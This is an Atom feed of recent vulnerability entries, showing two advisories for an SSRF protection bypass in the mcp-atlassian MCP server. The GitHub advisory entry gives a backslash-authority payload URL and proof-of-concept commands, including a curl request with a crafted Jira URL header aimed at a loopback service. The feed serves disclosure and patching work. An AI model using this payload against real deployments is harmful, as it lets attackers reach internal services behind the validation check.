<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-02T22:59:32.821638+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2026-77274</id>
    <title>CVE-2026-77274 — MCP Atlassian: SSRF Protection Bypass</title>
    <updated>2026-10-02T22:59:32.823910+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> sooperset mcp-atlassian</p>
<p>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2026-77274"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-hgcf-4mq8-5266</id>
    <title>GHSA-hgcf-4mq8-5266 — MCP Atlassian: SSRF Protection Bypass</title>
    <updated>2026-10-02T22:59:32.823966+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: mcp-atlassian</p>
<p>## Environment</p>
<p>- Project: `sooperset/mcp-atlassian`
- Affected function: `validate_url_for_ssrf()`
- Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint: `POST /mcp`
- Tested version: `2.14.5`</p>
<p>## Description</p>
<p>The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.</p>
<p>Affected code:</p>
<p>```python
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
```</p>
<p>Payload:</p>
<p>```text
http://127.0.0.1:6666\@www.baidu.com
```</p>
<p>For this input, `urllib.parse.urlparse()` treats the hostname as:</p>
<p>```text
www.baidu.com
```</p>
<p>Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:</p>
<p>```text
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
```</p>
<p>This allows an attacker-controlled Jira URL to target loopback or internal services.</p>
<p>## Proof of Concept</p>
<p>Start a local HTTP server:</p>
<p>```bash
python3 -m http.server 6666 --bind 127.0.0.1
```</p>
<p>Start `mcp-atlassian` with streamable HTTP transport on port `9000`.</p>
<p>Initialize an MCP session with the malicious Jira URL:</p>
<p>```bash
curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-hgcf-4mq8-5266"/>
  </entry>
</feed>
